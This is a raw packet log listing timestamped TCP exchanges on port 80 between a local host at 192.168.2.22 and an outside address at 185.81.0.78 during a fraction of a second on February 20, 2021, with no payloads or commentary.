Feb 20, 2021 09:48:08.534843922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.534888029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.534892082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.534900904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.534930944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.534935951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.534972906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.534976006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535015106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535015106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535053968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535057068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535093069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535094976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535131931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535135984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535171032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535173893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535211086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535224915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535264969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535269022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535305977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535307884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535346031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535350084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535388947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535399914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535425901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535425901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535461903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535465956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535504103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535504103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535542011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535552979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535592079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535594940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535634041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535655975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535665989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535674095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535712004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535712957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535751104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535752058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535789013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535790920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535830021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535830975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535867929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535880089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535921097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.535923958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535962105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.535964966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536000013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536004066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536041975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536043882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536082029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536082983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536120892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536123037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536161900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536164045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536202908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536211967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536252975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536256075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536294937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536298037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536334991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536335945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536375999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536376953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536413908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536415100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536453009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536453009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536492109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536493063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536530972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536540031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536582947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536585093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536621094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536634922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536650896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536660910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536700010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536700010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536739111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536739111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536777020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536777973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536817074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536817074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536859035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536866903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536906004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536911011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536948919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536950111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.536988974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.536989927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.537028074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.537030935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.537067890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591490984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591533899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591561079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591587067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591603041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591640949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591669083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591674089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591691971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591705084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591707945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591710091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591723919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591728926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591759920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591768026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591794014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591795921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591820955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591829062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591849089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591856956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591875076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591883898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591900110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591907024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591929913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591934919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591949940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.591964006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591979027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.591980934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592015028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592031956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592066050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592068911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592102051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592103958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592133999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592143059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592152119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592171907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592179060 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592189074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592209101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592212915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592246056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592248917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592271090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592283010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592298985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592308044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592335939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592340946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592355967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592369080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592386961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592387915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592415094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592421055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592443943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592449903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592472076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592477083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592505932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592506886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592529058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592540026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592566967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592570066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592592001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592603922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592609882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592617989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592632055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592649937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592662096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592669964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592698097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592701912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592735052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592739105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592760086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592773914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592789888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592791080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592823982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592825890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592860937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592861891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592888117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592895031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592912912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592924118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592941999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592947006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.592973948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592997074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.592997074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593009949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593014956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593029976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593043089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593049049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593075037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593084097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593110085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593123913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593142033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593154907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593170881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593170881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593192101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593204021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593218088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593225002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593242884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593259096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593271017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593272924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593291998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593306065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593316078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593318939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593343019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593350887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593360901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593374968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593399048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593405008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593430042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593437910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593447924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593462944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593481064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593486071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593513012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593519926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593528032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593547106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593558073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593563080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593584061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593592882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593601942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593619108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593632936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593635082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593662024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593668938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593678951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593697071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593703032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593709946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593719959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593738079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593743086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593756914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593760967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593776941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593791008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593794107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593808889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593826056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593837976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593844891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593867064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593874931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593902111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593903065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593919992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593940020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593946934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593955040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593966007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.593985081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.593988895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594000101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594007969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594017982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594044924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594067097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594084024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594103098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594110012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594114065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594126940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594144106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594156027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594158888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594181061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594189882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594209909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594239950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594242096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594264984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594269991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594273090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594295979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594305992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594320059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594331026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594348907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594350100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594367981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594383001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594398022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594400883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594427109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594432116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594465971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594470024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594491959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594501019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594512939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594526052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594537020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594552994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594554901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594573021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594585896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594599009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594625950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594635010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594652891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594662905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594682932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594686031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.594701052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594722033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.594729900 CET	49165	80	192.168.2.22	185.81.0.78
